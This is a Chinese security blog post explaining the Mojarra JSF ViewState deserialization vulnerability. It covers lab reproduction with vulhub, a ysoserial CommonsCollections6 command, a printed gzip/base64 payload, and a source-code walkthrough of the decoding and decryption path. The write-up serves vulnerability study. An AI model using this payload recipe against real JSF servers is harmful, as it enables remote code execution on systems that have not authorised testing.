Java安全之Mojarra?JSF反序列化講解

更新時(shí)間：2022年11月14日 09:13:52 作者：Zh1z3ven

JSF?和類似的?Web?技術(shù)之間的區(qū)別在于?JSF?使用?ViewStates（除了會(huì)話）來(lái)存儲(chǔ)視圖的當(dāng)前狀態(tài)（例如，當(dāng)前應(yīng)該顯示視圖的哪些部分），這篇文章主要介紹了Java安全之Mojarra?JSF反序列化知識(shí)講解，包括漏洞復(fù)現(xiàn)和漏洞分析,需要的朋友可以參考下

About JSF

JavaServer Faces，新一代的Java Web應(yīng)用技術(shù)標(biāo)準(zhǔn)，吸收了很多Java Servlet以及其他的Web應(yīng)用框架的特性。JSF為Web應(yīng)用開發(fā)定義了一個(gè)事件驅(qū)動(dòng)的、基于組件的模型。

其中最常用的是Sun（現(xiàn)在的Oracle）發(fā)布的Mojarra和Apache發(fā)布的MyFaces

JavaServerFaces（JSF）概念在幾年前就已經(jīng)引入，現(xiàn)在主要在J2EE中使用

JSF 和類似的 Web 技術(shù)之間的區(qū)別在于 JSF 使用 ViewStates（除了會(huì)話）來(lái)存儲(chǔ)視圖的當(dāng)前狀態(tài)（例如，當(dāng)前應(yīng)該顯示視圖的哪些部分）。ViewState 可以存儲(chǔ)在server或上client。JSF ViewStates 通常作為隱藏字段自動(dòng)嵌入到 HTML 表單中，名稱為javax.faces.ViewState。如果提交表單，它們將被發(fā)送回服務(wù)器。（有點(diǎn)像.net中的viewstate）

如果 JSF ViewState 配置為位于client隱藏javax.faces.ViewState字段上，則包含一個(gè)至少經(jīng)過 Base64 編碼的序列化 Java 對(duì)象。

默認(rèn)字段如下,其中javax.faces.ViewState的值為經(jīng)過編碼/加密處理的序列化對(duì)象

<input type="hidden" name="javax.faces.ViewState" id="j_id__v_0:javax.faces.ViewState:1" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s" autocomplete="off" />

利用條件

所有MyFaces版本1.1.7、1.2.8、2.0和更早版本，以及Mojarra 1.2.14、2.0.2

JSF2.2之前的規(guī)范要求實(shí)現(xiàn)加密機(jī)制，但不要求使用加密機(jī)制。

Mojarra：ViewState配置為駐留在client (javax.faces.STATE_SAVING_METHOD)

MyFaces: ViewState配置為駐留在client或 server

如果能獲取到加密密鑰，那么即便進(jìn)行加密，依然可以利用，默認(rèn)情況下，Mojarra 使用AES加密算法HMAC-SHA256驗(yàn)證 ViewState。

漏洞復(fù)現(xiàn)

vulhub拉取鏡像將代碼copy出來(lái)

docker-compose up -d
docker cp 568e46fdd891:/usr/src /tmp

本地起tomcat搭建環(huán)境,vulhub用的jdk7u21鏈，建議本地搭的時(shí)候自己添加一個(gè)可利用的依賴

生成payload命令,記得url編碼

java -jar ysoserial-for-woodpecker-0.5.2.jar -g CommonsCollections6 -a "raw_cmd:open -a Calculator" | gzip | base64
H4sIAL4abWMAA5WUTWjUQBTHX5Kuta3S7RZKQcQetdjEQw/VPWitFhe2VWyR4l6c7s7uppsvJ5NttoqgoAW99LC1iKA99GYVxIMieCgePIgFvSh6EUHwoKAnj/om2W2zftXmkEwy8/+99/5vMstfIOYy6JgiZaJ6XDfUY8QtjlH++Mjl+euPHvYrAL4zvQ0A5IOHQFwSru+3WUElDskWqZq1TdO2XHwaBs1yXYxLtFImhkfVcZ3mRohz1OKscvXuq5v7V3a9k0FOg4JLOCTSIrBmEKugHZ+cQnkSp0zicGgPp0ROGhKSPn5T8raN0Xs3iI56NU1mKiizPlYv3arEqwpIaWjOkyy3Gcbdm0aEFiK0GkKLILRxRiw3bzOTMoyMMQ9sEDPvWYLtqkNFols0FwHse7bweffMQpMMUga265EZl0NfZnOpeKwm+VcyUcmTU73f3vR335BFI7F9ot3J/y4G3zixeAQ4UZ7rGJTvV2XhaIteX3EWLoDiO+X6XhItVU96FtdNCuvX5rxMWWW7RFkk+uynH6Vz51cHZFAyENMHWQE97Mz8aRu16SOUF+3cKDFp404b40y3CskMLjlBGDHHKw5FTCKKGTKI64Z+1/BhSTX83OrE7bi7x6i7KnNoLVBeKxhFiagohN3pen3v+YvTa50ADi2oCbP0hIE7BAktjK9Lw1wXvy4NzCQfHA6k5WCpK+6dgaxbyJy1IXK36IFzf4OGRTS0JYB2/wKV0BTboVZPH+kZIkbWMwj2hUMT9Wl2DS6JQU8gbXcb+p+yOC1QlviwuPT94iw2TUpBLDgY/IZ8Rj1zkrIry/M726rvr9X9kX4/mPCPjjW/XXnadealAvIwtBo2yQ0Hf3UKWniRUbdoGznfqZ1VML0Vb/GgRN//CQ5kWPztBAAA

漏洞分析

Web.xml配置，p牛的環(huán)境中是沒有加密的，加密的環(huán)境后面再說

<servlet>
  <servlet-name>Faces Servlet</servlet-name>
  <servlet-class>javax.faces.webapp.FacesServlet</servlet-class>
  <load-on-startup>1</load-on-startup>
</servlet>
<!-- Map these files with JSF -->
<servlet-mapping>
  <servlet-name>Faces Servlet</servlet-name>
  <url-pattern>/faces/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
  <servlet-name>Faces Servlet</servlet-name>
  <url-pattern>*.jsf</url-pattern>
</servlet-mapping>
<servlet-mapping>
  <servlet-name>Faces Servlet</servlet-name>
  <url-pattern>*.faces</url-pattern>
</servlet-mapping>
<servlet-mapping>
  <servlet-name>Faces Servlet</servlet-name>
  <url-pattern>*.xhtml</url-pattern>
</servlet-mapping>

定位到jsf-api-2.1.28.jar!/javax/faces/webapp/FacesServlet#service

debug, 跟進(jìn) this.lifecycle.execute(context);

public void service(ServletRequest req, ServletResponse resp) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest)req;
        HttpServletResponse response = (HttpServletResponse)resp;
        this.requestStart(request.getRequestURI());
        if (!this.isHttpMethodValid(request)) {
            response.sendError(400);
        } else {
           ......

            FacesContext context;
            if (!this.initFacesContextReleased) {
                context = FacesContext.getCurrentInstance();
                if (null != context) {
                    context.release();
                }

                this.initFacesContextReleased = true;
            }

            context = this.facesContextFactory.getFacesContext(this.servletConfig.getServletContext(), request, response, this.lifecycle);

            try {
                ResourceHandler handler = context.getApplication().getResourceHandler();
                if (handler.isResourceRequest(context)) {
                    handler.handleResourceRequest(context);
                } else {
                    this.lifecycle.execute(context);
                    this.lifecycle.render(context);
                }
            }

跟進(jìn)this.phases[i].doPhase ,這里會(huì)有循環(huán)遍歷多個(gè)Phase對(duì)象去調(diào)用doPhase方法

繼續(xù)跟進(jìn)到this.execute

    public void doPhase(FacesContext context, Lifecycle lifecycle, ListIterator<PhaseListener> listeners) {
        context.setCurrentPhaseId(this.getId());
        PhaseEvent event = null;
        if (listeners.hasNext()) {
            event = new PhaseEvent(context, this.getId(), lifecycle);
        }

        Timer timer = Timer.getInstance();
        if (timer != null) {
            timer.startTiming();
        }

        try {
            this.handleBeforePhase(context, listeners, event);
            if (!this.shouldSkip(context)) {
                this.execute(context);
            }

在execute方法邏輯內(nèi)，先通過facesContext.getExternalContext().getRequestMap();拿到一個(gè)RequestMap其中的值為ExternalContextImpl對(duì)象，該對(duì)象中包含了上下文、request、response等整體信息。后續(xù)跟進(jìn)viewHandler.restoreView(facesContext, viewId);

繼續(xù)跟進(jìn)getstate

下面是一處關(guān)鍵點(diǎn)，通過剛才我們提到的ExternalContextImpl，從中對(duì)應(yīng)的requestParameterMap中的key取出我們傳入的payload,默認(rèn)情況下是javax.faces.Viewstate，之后該值作為形參帶入doGetState方法內(nèi)

下面是漏洞出發(fā)點(diǎn)的反序列化邏輯部分

先Base64解碼，解碼后通過this.guard的值是否為null判斷是否有加密，有加密的話會(huì)去調(diào)用this.guard.decrypt進(jìn)行解密，之后ungzip解壓

之后將該流轉(zhuǎn)換為ApplicationObjectInputStream并有一個(gè)timeout的判斷邏輯，最后直接反序列化

存在加密的情況的話可能會(huì)有以下的配置

  <context-param>
    <param-name>javax.faces.STATE_SAVING_METHOD</param-name>
    <param-value>client</param-value>
  </context-param>

  <env-entry> 
    <env-entry-name>com.sun.faces.ClientStateSavingPassword</env-entry-name> 
    <env-entry-type>java.lang.String</env-entry-type> 
    <env-entry-value>[some secret password]</env-entry-value>
  </env-entry>

或

<context-param>
  <param-name>com.sun.faces.ClientSideSecretKey</param-name>
  <param-value>[some secret password]</param-value>
</context-param>

在ClientSideStateHelper#doGetState中有如下代碼

其中guard來(lái)標(biāo)識(shí)是否啟用加密，有加密時(shí)會(huì)調(diào)用this.guard.decrypt進(jìn)行解密

if ("stateless".equals(stateString)) {
  return null;
} else {
  ObjectInputStream ois = null;
  InputStream bis = new Base64InputStream(stateString);

  try {
    if (this.guard != null) {
      byte[] bytes = stateString.getBytes("UTF-8");
      int numRead = ((InputStream)bis).read(bytes, 0, bytes.length);
      byte[] decodedBytes = new byte[numRead];
      ((InputStream)bis).reset();
      ((InputStream)bis).read(decodedBytes, 0, decodedBytes.length);
      bytes = this.guard.decrypt(decodedBytes);
      if (bytes == null) {
        return null;
      }

      bis = new ByteArrayInputStream(bytes);
    }

加解密邏輯均在ByteArrayGuard類中，需要時(shí)扣代碼即可

public byte[] decrypt(byte[] bytes) {
  try {
    byte[] macBytes = new byte[32];
    System.arraycopy(bytes, 0, macBytes, 0, macBytes.length);
    byte[] iv = new byte[16];
    System.arraycopy(bytes, macBytes.length, iv, 0, iv.length);
    byte[] encdata = new byte[bytes.length - macBytes.length - iv.length];
    System.arraycopy(bytes, macBytes.length + iv.length, encdata, 0, encdata.length);
    IvParameterSpec ivspec = new IvParameterSpec(iv);
    Cipher decryptCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    decryptCipher.init(2, this.sk, ivspec);
    Mac decryptMac = Mac.getInstance("HmacSHA256");
    decryptMac.init(this.sk);
    decryptMac.update(iv);
    decryptMac.update(encdata);
    byte[] macBytesCalculated = decryptMac.doFinal();
    if (this.areArrayEqualsConstantTime(macBytes, macBytesCalculated)) {
      byte[] plaindata = decryptCipher.doFinal(encdata);
      return plaindata;
    } else {
      System.err.println("ERROR: MAC did not verify!");
      return null;
    }
  } catch (Exception var10) {
    System.err.println("ERROR: Decrypting:" + var10.getCause());
    return null;
  }
}

整體邏輯為,其中看lib版本和配置來(lái)判斷走不走加解密

 * Generate Payload:
 *          writeObject ==> Gzip ==> Encrpt ==> Base64Encode
 *
 * Recive Payload:
 *          Base64Decode ==> Decrpt ==> UnGzip ==> readObject